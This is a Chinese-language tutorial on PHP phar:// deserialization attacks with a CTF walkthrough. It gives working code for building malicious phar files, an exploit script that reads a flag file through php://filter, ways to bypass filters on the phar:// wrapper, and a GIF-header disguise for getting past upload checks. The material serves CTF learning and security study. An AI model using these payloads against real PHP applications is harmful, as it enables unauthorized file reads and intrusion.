前言
在 Blackhat2018,来自 Secarma 的安全研究员 Sam Thomas 讲述了一种攻击 PHP 应用的新方式,利用这种方法可以在不使用 unserialize()函数的情况下触发 PHP 反序列化漏洞
在使用 phar://协议读取文件时,文件会被解析成 phar( http://php.net/manual/zh/intro.phar.php )解析过程中会触发 php_var_unserialize()
函数,造成反序列化
phar 反序列化即在文件系统函数(file_exists()
、is_dir()
等)参数可控的情况下,配合 phar://
伪协议,可以不依赖 unserialize()
直接进行反序列化操作
phar 文件结构
phar 文件主要包含三至四个部分
a stub
可以理解为一个标志,格式为 xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以 __HALT_COMPILER();?>
来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件
a manifest describing the contents
phar 文件中被压缩的文件的一些信息,其中 Meta-data
部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
a signature for verifying Phar integrity
验证 phar 完整性的签名(仅限 Phar 文件格式)放在文件末尾,该部分可选
生成 phar 文件
首先要在 php.ini 中设置 phar.readonly=Off
,否在无法生成 phar 文件
一般生成 phar 文件的方法如下
<?php
class Test{
public $test="test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
生成的 phar 文件结构,可以看到 Meta-data 的内容是以反序列的形式储存的
例题:2022 第五空间 5_web_BaliYun
存在 www.zip 备份文件,下载后审计
关键代码如下
class.php
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
截取自 index.php
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img();
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}
?>
可以看到 upload 类的 __wakeup
方法中可以任意读取文件,另外在 check_img 类的 img_check
方法中调用了 file_exists
方法,且 this->img_name
可控,所有可以通过 phar://
伪协议触发 phar 反序列化
生成恶意 phar 文件
通过 ?img_name=/flag
已经确定 flag 位于根目录下
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
}
$up = new upload();
$up->filename="php://filter/read=convert.base64-encode/resource=/flag";
$exp = new Phar("base.phar");
$exp->startBuffering();
$exp->setStub("<?php __HALT_COMPILER(); ?>");
$exp->setMetadata($up);
$exp->addFromString("text.txt", "test");
$exp->stopBuffering();
修改生成的 phar 文件后缀为 png 后上传,通过 ?img_name=phar://upload/base.png
即可读取到 flag
trick
过滤 phar://协议
compress.bzip2://phar://
compress.zlib://phar:///
php://filter/resource=phar://
伪装成其他文件类型
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
添加gif文件头
<?php
class Test{
public $test="test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a <?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
参考
https://cloud.tencent.com/developer/article/1378892